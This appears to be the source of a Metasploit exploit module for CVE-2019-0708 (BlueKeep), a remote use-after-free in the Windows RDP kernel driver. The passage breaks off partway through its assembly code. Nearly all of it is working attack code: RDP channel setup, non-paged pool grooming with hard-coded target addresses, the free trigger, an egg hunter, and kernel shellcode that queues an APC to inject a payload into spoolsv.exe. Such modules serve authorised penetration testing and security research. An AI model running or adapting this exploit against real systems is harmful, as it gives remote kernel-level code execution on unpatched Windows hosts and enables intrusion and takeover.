https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming\n#    MS_T120 on XP... should be same process as the RDPSND\n\nclass MetasploitModule < Msf::Exploit::Remote\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  Rank = ManualRanking\n\n  USERMODE_EGG = 0xb00dac0fefe31337\n  KERNELMODE_EGG = 0xb00dac0fefe42069\n\n  CHUNK_SIZE = 0x400\n  HEADER_SIZE = 0x48\n\n  include Msf::Exploit::Remote::RDP\n  include Msf::Exploit::Remote::CheckModule\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',\n      'Description'    => %q(\n        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n        allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n        the freed channel is used to achieve arbitrary code execution.\n\n        Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n        Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n        selection is correctly matched to the system's memory layout.\n\n        HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n        *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n        This is a non-standard configuration for normal servers, and the target will crash if\n        the aforementioned Registry key is not set!\n\n        If the target is crashing regardless, you will likely need to determine the non-paged\n        pool base in kernel memory and set it as the GROOMBASE option.\n      ),\n      'Author' =>\n      [\n        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit\n        'Ryan Hanson',                              # @ryHanson - Original exploit\n        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module\n        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer\n      ],\n      'License' => MSF_LICENSE,\n      'References' =>\n        [\n          ['CVE', '2019-0708'],\n          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],\n          ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html']\n        ],\n      'DefaultOptions' =>\n        {\n          'RDP_CLIENT_NAME' => 'ethdev',\n          'EXITFUNC' => 'thread',\n          'CheckModule' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep',\n          'WfsDelay' => 5\n        },\n      'Privileged' => true,\n      'Payload' =>\n        {\n          'Space' => CHUNK_SIZE - HEADER_SIZE,\n          'EncoderType' => Msf::Encoder::Type::Raw,\n        },\n      'Platform' => 'win',\n      'Targets' =>\n        [\n          [\n            'Automatic targeting via fingerprinting',\n            {\n              'Arch' => [ARCH_X64],\n              'FingerprintOnly' => true\n            },\n          ],\n          #\n          #\n          # Windows 2008 R2 requires the following registry change from default:\n          #\n          # [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]\n          # \"fDisableCam\"=dword:00000000\n          #\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8003800000,\n              'GROOMSIZE' => 100\n            }\n          ],\n          [\n            # This works with Virtualbox 6\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8002407000\n            }\n          ],\n          [\n            # This address works on VMWare 14\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8030c00000\n            }\n          ],\n          [\n            # This address works on VMWare 15\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018C00000\n            }\n          ],\n          [\n            # This address works on VMWare 15.1\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8102407000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8004428000\n            }\n          ],\n        ],\n      'DefaultTarget' => 0,\n      'DisclosureDate' => '2019-05-14',\n      'Notes' =>\n        {\n          'AKA' => ['Bluekeep']\n        }\n    ))\n\n    register_advanced_options(\n      [\n        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),\n        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),\n        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),\n        OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0])\n      ]\n    )\n  end\n\n  def exploit\n    if target['FingerprintOnly']\n      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !')\n    end\n\n    begin\n      rdp_connect\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\n    end\n\n    is_rdp, server_selected_proto = rdp_check_protocol\n    unless is_rdp\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\n    end\n\n    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us\n    # from exploiting the target.\n    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)\n      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')\n    end\n\n    chans = [\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n    ]\n\n    @mst120_chan_id = 1004 + chans.length - 1\n\n    unless rdp_negotiate_security(chans, server_selected_proto)\n      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')\n    end\n\n    rdp_establish_session\n\n    rdp_dispatch_loop\n  end\n\nprivate\n\n  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is\n  # received on a channel, and this is when we need to kick off our exploit.\n  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)\n    # We have to do the default behaviour first.\n    super(pkt, user, chan_id, flags, data)\n\n    groom_size = datastore['GROOMSIZE']\n    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)\n    groom_chan_count = datastore['GROOMCHANNELCOUNT']\n\n    payloads = create_payloads(pool_addr)\n\n    print_status(\"Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.\")\n\n    target_channel_id = chan_id + 1\n\n    spray_buffer = create_exploit_channel_buffer(pool_addr)\n    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)\n    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80\n\n    # if the exploit is cancelled during the free, target computer will explode\n    print_warning(\"<---------------- | Entering Danger Zone | ---------------->\")\n\n    print_status(\"Surfing channels ...\")\n    rdp_send(spray_channel * 1024)\n    rdp_send(free_trigger)\n\n    chan_surf_size = 0x421\n    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min\n    chan_surf_packet = spray_channel * spray_packets\n    chan_surf_count  = chan_surf_size / spray_packets\n\n    chan_surf_count.times do\n      rdp_send(chan_surf_packet)\n    end\n\n    print_status(\"Lobbing eggs ...\")\n\n    groom_mb = groom_size * 1024 / payloads.length\n\n    groom_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n    groom_mb.times do |current_groom_count|\n      tpkts = ''\n      for c in 0..groom_chan_count\n        payloads.each do |p|\n          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)\n        end\n      end\n      rdp_send(tpkts)\n\n      # tasks we do every 1 MB\n      if current_groom_count % (1024 / payloads.length) == 0\n\n        # adding mouse move events keeps the connection alive\n        # (this handles a groom duration > 30 seconds, such as over Internet/VPN)\n        rdp_move_mouse\n\n        # simulate slow connection if GROOMDELAY is set\n        if datastore['GROOMDELAY'] && datastore['GROOMDELAY'] > 0\n          sleep(datastore['GROOMDELAY'])\n        end\n\n        groom_current_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n        groom_elapsed_time = groom_current_time - groom_start_time\n        groom_elapsed_str = \"%02d:%02d:%02d\" % [groom_elapsed_time / 3600,\n                                                groom_elapsed_time / 60%60,\n                                                groom_elapsed_time % 60]\n\n        groom_mb_sent = current_groom_count / (1024 / payloads.length) + 1\n        vprint_status(\"Sent #{groom_mb_sent}/#{groom_size} MB. (Time elapsed: #{groom_elapsed_str})\")\n      end\n    end\n\n    # Terminating and disconnecting forces the USE\n    print_status(\"Forcing the USE of FREE'd object ...\")\n\n    # target is groomed, the early cancellation dangers are complete\n    print_warning(\"<---------------- | Leaving Danger Zone | ---------------->\")\n    rdp_terminate\n    rdp_disconnect\n  end\n\n  # Helper function to create the kernel mode payload and the usermode payload with\n  # the egg hunter prefix.\n  def create_payloads(pool_address)\n    begin\n      [kernel_mode_payload, user_mode_payload].map { |p|\n        [\n          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg\n          p\n        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, \"\\x00\")\n      }\n    rescue => ex\n      print_error(\"#{ex.backtrace.join(\"\\n\")}: #{ex.message} (#{ex.class})\")\n    end\n  end\n\n  def assemble_with_fixups(asm)\n    # Rewrite all instructions of form 'lea reg, [rel label]' as relative\n    # offsets for the instruction pointer, since metasm's 'ModRM' parser does\n    # not grok that syntax.\n    lea_rel = /lea+\\s(?<dest>\\w{2,3}),*\\s\\[rel+\\s(?<label>[a-zA-Z_].*)\\]/\n    asm.gsub!(lea_rel) do |match|\n      match = \"lea #{$1}, [rip + #{$2}]\"\n    end\n\n    # metasm encodes all rep instructions as repnz\n    # https://github.com/jjyg/metasm/pull/40\n    asm.gsub!(/rep+\\smovsb/, 'db 0xf3, 0xa4')\n\n    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded\n\n    # Fixup above rewritten instructions with the relative label offsets\n    encoded.reloc.each do |offset, reloc|\n      target = reloc.target.to_s\n      if encoded.export.key?(target)\n        # Note: this assumes the address we're fixing up is at the end of the\n        # instruction. This holds for 'lea' but if there are other fixups\n        # later, this might need to change to account for specific instruction\n        # encodings\n        if reloc.type == :i32\n          instr_offset = offset + 4\n        elsif reloc.type == :i16\n          instr_offset = offset + 2\n        end\n        encoded.fixup(target => encoded.export[target] - instr_offset)\n      else\n        raise \"Unknown symbol '#{target}' while resolving relative offsets\"\n      end\n    end\n    encoded.fill\n    encoded.data\n  end\n\n  # The user mode payload has two parts. The first is an egg hunter that searches for\n  # the kernel mode payload. The second part is the actual payload that's invoked in\n  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel\n  # and user mode payloads around the heap in different packets because we don't have\n  # enough space to put them both in the same chunk. Given that code exec can result in\n  # landing on the user land payload, the egg is used to go to a kernel payload.\n  def user_mode_payload\n\n    asm = %Q^\n_start:\n    lea rcx, [rel _start]\n    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}\n_egg_loop:\n    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}\n    sub rax, 0x#{CHUNK_SIZE.to_s(16)}\n    mov rdx, [rcx - 8]\n    cmp rdx, r8\n    jnz _egg_loop\n    jmp rcx\n    ^\n    egg_loop = assemble_with_fixups(asm)\n\n    # The USERMODE_EGG is required at the start as well, because the exploit code\n    # assumes the tag is there, and jumps over it to find the shellcode.\n    [\n      USERMODE_EGG,\n      egg_loop,\n      USERMODE_EGG,\n      payload.raw\n    ].pack('<Qa*<Qa*')\n  end\n\n  def kernel_mode_payload\n\n    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya\n    #\n    # This shellcode was written originally for eternalblue exploits\n    # eternalblue_exploit7.py and eternalblue_exploit8.py\n    #\n    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)\n    #\n    # Note:\n    # - The userland shellcode is run in a new thread of system process.\n    #     If userland shellcode causes any exception, the system process get killed.\n    # - On idle target with multiple core processors, the hijacked system call\n    #     might take a while (> 5 minutes) to get called because the system\n    #     call may be called on other processors.\n    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.\n    #     This is ok because some Windows functions do not require a shadow stack.\n    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.\n    #     Note: the Windows 8 version macros are removed below\n    # - The userland payload MUST be appened to this shellcode.\n    #\n    # References:\n    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)\n    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c\n\n    data_kapc_offset           = 0x30\n\n    data_hal_original_syscall_shadow_common_offset_offset = 0x20\n    data_hal_fake_syscall_spinlock_offset = 0x10\n\n    data_nt_kernel_addr_offset = 0x8\n    data_origin_syscall_offset = 0\n    data_peb_addr_offset       = -0x10\n    data_queueing_kapc_offset  = -0x8\n    hal_heap_storage           = 0xffffffffffd04100\n\n    # These hashes are not the same as the ones used by the\n    # Block API so they have to be hard-coded.\n    createthread_hash              = 0x835e515e\n    keinitializeapc_hash           = 0x6d195cc4\n    keinsertqueueapc_hash          = 0xafcc4634\n    psgetcurrentprocess_hash       = 0xdbf47c78\n    psgetprocessid_hash            = 0x170114e1\n    psgetprocessimagefilename_hash = 0x77645f3f\n    psgetprocesspeb_hash           = 0xb818b848\n    psgetthreadteb_hash            = 0xcef84c3e\n    spoolsv_exe_hash               = 0x3ee083d8\n    zwallocatevirtualmemory_hash   = 0x576e99ea\n\n    asm = %Q^\nshellcode_start:\n    ; egg tag\n    nop\n    nop\n    nop\n    nop\n\nsetup_syscall_shadow_hook:\n    ; IRQL is PASSIVE_LEVEL when got code execution\n    ;int 0x3\n\n    mov rbp, #{hal_heap_storage}\n\n    ; allow interrupts while executing shellcode\n    sti\n    call r3_to_r0_start\n    cli\n\n    ;--------------------- HACK crappy thread cleanup --------------------\n    ; This code is effectively the same as the epilogue of the function that calls\n    ; the vulnerable function in the kernel, with a tweak or two.\n    ; TODO: make the lock not suck!!\n    mov     rax, qword [gs:0x188]\n    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++\n    lea     r11, [rsp+0b8h]\n    xor     eax, eax\n    mov     rbx, [r11+30h]\n    mov     rbp, [r11+40h]\n    mov     rsi, [r11+48h]\n    mov     rsp, r11\n    pop     r15\n    pop     r14\n    pop     r13\n    pop     r12\n    pop     rdi\n    ret\n\nr3_to_r0_start:\n    ; save used non-volatile registers\n    push r15\n    push r14\n    push rdi\n    push rsi\n    push rbx\n    push rax    ; align stack by 0x10\n\n    ;======================================\n    ; find nt kernel address\n    ;======================================\n    mov r15, qword [gs:0x38]                          ; get IdtBase of KPCR\n    mov r15, qword [r15 + 0x4]                        ; get ISR address\n    shr r15, 0xc                                      ; strip to page size\n    shl r15, 0xc\n\n_x64_find_nt_walk_page:\n    sub r15, 0x1000             ; walk along page size\n    cmp word [r15], 0x5a4d      ; 'MZ' header\n    jne _x64_find_nt_walk_page\n\n    ; save nt address for using in KernelApcRoutine\n    mov [rbp+#{data_nt_kernel_addr_offset}], r15\n\n    ;======================================\n    ; get current EPROCESS and ETHREAD\n    ;======================================\n    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR\n    mov edi, #{psgetcurrentprocess_hash}\n    call win_api_direct\n    xchg rcx, rax       ; rcx = EPROCESS\n\n    ; r15 : nt kernel address\n    ; r14 : ETHREAD\n    ; rcx : EPROCESS\n\n    ;======================================\n    ; find offset of EPROCESS.ImageFilename\n    ;======================================\n    mov edi, #{psgetprocessimagefilename_hash}\n    call get_proc_addr\n    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)\n    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename\n\n\n    ;======================================\n    ; find offset of EPROCESS.ThreadListHead\n    ;======================================\n    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)\n    ; if offset of ImageFilename is more than 0x400, current is (Win8+)\n\n    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename\n    jb _find_eprocess_threadlist_offset_win7\n    add eax, 0x10\n_find_eprocess_threadlist_offset_win7:\n    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead\n\n    ;======================================\n    ; find offset of ETHREAD.ThreadListEntry\n    ;======================================\n\n    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead\n    mov r9, r8\n\n    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700\n_find_ethread_threadlist_offset_loop:\n    mov r9, qword [r9]\n\n    cmp r8, r9          ; check end of list\n    je _insert_queue_apc_done    ; not found !!!\n\n    ; if (r9 - r14 < 0x700) found\n    mov rax, r9\n    sub rax, r14\n    cmp rax, 0x700\n    ja _find_ethread_threadlist_offset_loop\n    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)\n\n\n    ;======================================\n    ; find offset of EPROCESS.ActiveProcessLinks\n    ;======================================\n    mov edi, #{psgetprocessid_hash}\n    call get_proc_addr\n    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)\n    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)\n\n\n    ;======================================\n    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock\n    ;======================================\n    ; check process name\n\n\n    xor eax, eax      ; HACK to exit earlier if process not found\n\n_find_target_process_loop:\n    lea rsi, [rcx+rbx]\n\n    push rax\n    call calc_hash\n    cmp eax, #{spoolsv_exe_hash}  ; \"spoolsv.exe\"\n    pop rax\n    jz found_target_process\n\n;---------- HACK PROCESS NOT FOUND start -----------\n    inc rax\n    cmp rax, 0x300      ; HACK not found!\n    jne _next_find_target_process\n    xor ecx, ecx\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\n\n    jmp _r3_to_r0_done\n\n;---------- HACK PROCESS NOT FOUND end -----------\n\n_next_find_target_process:\n    ; next process\n    mov rcx, [rcx+rdi]\n    sub rcx, rdi\n    jmp _find_target_process_loop\n\n\nfound_target_process:\n    ; The allocation for userland payload will be in KernelApcRoutine.\n    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()\n\n    ;======================================\n    ; save process PEB for finding CreateThread address in kernel KAPC routine\n    ;======================================\n    mov edi, #{psgetprocesspeb_hash}\n    ; rcx is EPROCESS. no need to set it.\n    call win_api_direct\n    mov [rbp+#{data_peb_addr_offset}], rax\n\n\n    ;======================================\n    ; iterate ThreadList until KeInsertQueueApc() success\n    ;======================================\n    ; r15 = nt\n    ; r14 = -(offset of ETHREAD.ThreadListEntry)\n    ; rcx = EPROCESS\n    ; edx = offset of EPROCESS.ThreadListHead\n\n\n    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\n    mov rbx, rsi    ; use rbx for iterating thread\n\n    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.\n    ; Moreover, alertable thread need to be waiting state which is more difficult to check.\n    ; try queueing APC then check KAPC member is more reliable.\n\n_insert_queue_apc_loop:\n    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front\n    mov rbx, [rbx+8]\n\n    cmp rsi, rbx\n    je _insert_queue_apc_loop   ; skip list head\n\n    ; find start of ETHREAD address\n    ; set it to rdx to be used for KeInitializeApc() argument too\n    lea rdx, [rbx + r14]    ; ETHREAD\n\n    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.\n    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.\n    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.\n    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.\n    ; Teb member is next to Queue member.\n    mov edi, #{psgetthreadteb_hash}\n    call get_proc_addr\n    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)\n    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL\n    je _insert_queue_apc_loop\n\n    ; KeInitializeApc(PKAPC,\n    ;                 PKTHREAD,\n    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),\n    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,\n    ;                 PKRUNDOWN_ROUTINE = NULL,\n    ;                 PKNORMAL_ROUTINE = userland_shellcode,\n    ;                 KPROCESSOR_MODE = UserMode (1),\n    ;                 PVOID Context);\n    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC\n    xor r8, r8      ; OriginalApcEnvironment\n    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine\n    push rbp    ; context\n    push 1      ; UserMode\n    push rbp    ; userland shellcode (MUST NOT be NULL)\n    push r8     ; NULL\n    sub rsp, 0x20   ; shadow stack\n    mov edi, #{keinitializeapc_hash}\n    call win_api_direct\n    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later\n\n    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);\n    ;   SystemArgument1 is second argument in usermode code (rdx)\n    ;   SystemArgument2 is third argument in usermode code (r8)\n    lea rcx, [rbp+#{data_kapc_offset}]\n    ;xor edx, edx   ; no need to set it here\n    ;xor r8, r8     ; no need to set it here\n    xor r9, r9\n    mov edi, #{keinsertqueueapc_hash}\n    call win_api_direct\n    add rsp, 0x40\n    ; if insertion failed, try next thread\n    test eax, eax\n    jz _insert_queue_apc_loop\n\n    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry\n    ; EPROCESS pointer 8 bytes\n    ; InProgressFlags 1 byte\n    ; KernelApcPending 1 byte\n    ; if success, UserApcPending MUST be 1\n    cmp byte [rax+0x1a], 1\n    je _insert_queue_apc_done\n\n    ; manual remove list without lock\n    mov [rax], rax\n    mov [rax+8], rax\n    jmp _insert_queue_apc_loop\n\n_insert_queue_apc_done:\n    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.\n\n_r3_to_r0_done:\n    pop rax\n    pop rbx\n    pop rsi\n    pop rdi\n    pop r14\n    pop r15\n    ret\n\n;========================================================================\n; Call function in specific module\n;\n; All function arguments are passed as calling normal function with extra register arguments\n; Extra Arguments: r15 = module pointer\n;                  edi = hash of target function name\n;========================================================================\nwin_api_direct:\n    call get_proc_addr\n    jmp rax\n\n\n;========================================================================\n; Get function address in specific module\n;\n; Arguments: r15 = module pointer\n;            edi = hash of target function name\n; Return: eax = offset\n;========================================================================\nget_proc_addr:\n    ; Save registers\n    push rbx\n    push rcx\n    push rsi                ; for using calc_hash\n\n    ; use rax to find EAT\n    mov eax, dword [r15+60]  ; Get PE header e_lfanew\n    mov eax, dword [r15+rax+136] ; Get export tables RVA\n\n    add rax, r15\n    push rax                 ; save EAT\n\n    mov ecx, dword [rax+24]  ; NumberOfFunctions\n    mov ebx, dword [rax+32]  ; FunctionNames\n    add rbx, r15\n\n_get_proc_addr_get_next_func:\n    ; When we reach the start of the EAT (we search backwards), we hang or crash\n    dec ecx                     ; decrement NumberOfFunctions\n    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name\n    add rsi, r15                ; Add the modules base address\n\n    call calc_hash\n\n    cmp eax, edi                        ; Compare the hashes\n    jnz _get_proc_addr_get_next_func    ; try the next function\n\n_get_proc_addr_finish:\n    pop rax                     ; restore EAT\n    mov ebx, dword [rax+36]\n    add rbx, r15                ; ordinate table virtual address\n    mov cx, word [rbx+rcx*2]    ; desired functions ordinal\n    mov ebx, dword [rax+28]     ; Get the function addresses table rva\n    add rbx, r15                ; Add the modules base address\n    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA\n    add rax, r15                ; Add the modules base address to get the functions actual VA\n\n    pop rsi\n    pop rcx\n    pop rbx\n    ret\n\n;========================================================================\n; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.\n;\n; Argument: rsi = string to hash\n; Clobber: rsi\n; Return: eax = hash\n;========================================================================\ncalc_hash:\n    push rdx\n    xor eax, eax\n    cdq\n_calc_hash_loop:\n    lodsb                   ; Read in the next byte of the ASCII string\n    ror edx, 13             ; Rotate right our hash value\n    add edx, eax            ; Add the next byte of the string\n    test eax, eax           ; Stop when found NULL\n    jne _calc_hash_loop\n    xchg edx, eax\n    pop rdx\n    ret\n\n\n; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.\n; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().\n; Moreover, there is no lock when calling KernelApcRoutine.\n; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.\n;\n; VOID KernelApcRoutine(\n;           IN PKAPC Apc,\n;           IN PKNORMAL_ROUTINE *NormalRoutine,\n;           IN PVOID *NormalContext,\n;           IN PVOID *SystemArgument1,\n;           IN PVOID *SystemArgument2)\nkernel_kapc_routine:\n    push rbp\n    push rbx\n    push rdi\n    push rsi\n    push r15\n\n    mov rbp, [r8]       ; *NormalContext is our data area pointer\n\n    mov r15, [rbp+#{data_nt_kernel_addr_offset}]\n    push rdx\n    pop rsi     ; mov rsi, rdx\n    mov rbx, r9\n\n    ;======================================\n    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)\n    ;======================================\n    xor eax, eax\n    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)\n    ; rdx is already address of baseAddr\n    mov [rdx], rax      ; baseAddr = 0\n    mov ecx, eax\n    not rcx             ; ProcessHandle = -1\n    mov r8, rax         ; ZeroBits\n    mov al, 0x40    ; eax = 0x40\n    push rax            ; PAGE_EXECUTE_READWRITE = 0x40\n    shl eax, 6      ; eax = 0x40 << 6 = 0x1000\n    push rax            ; MEM_COMMIT = 0x1000\n    ; reuse r9 for address of RegionSize\n    mov [r9], rax       ; RegionSize = 0x1000\n    sub rsp, 0x20   ; shadow stack\n    mov edi, #{zwallocatevirtualmemory_hash}\n    call win_api_direct\n    add rsp, 0x30\n\n    ; check error\n    test eax, eax\n    jnz _kernel_kapc_routine_exit\n\n    ;======================================\n    ; copy userland payload\n    ;======================================\n    mov rdi, [rsi]\n\n;--------------------------- HACK IN EGG USER ---------\n\n    push rdi\n\n    lea rsi, [rel shellcode_start]\n    mov rdi, 0x#{USERMODE_EGG.to_s(16)}\n\n  _find_user_egg_loop:\n      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}\n      mov rax, [rsi - 8]\n      cmp rax, rdi\n      jnz _find_user_egg_loop\n\n  _inner_find_user_egg_loop:\n      inc rsi\n      mov rax, [rsi - 8]\n      cmp rax, rdi\n      jnz _inner_find_user_egg_loop\n\n    pop 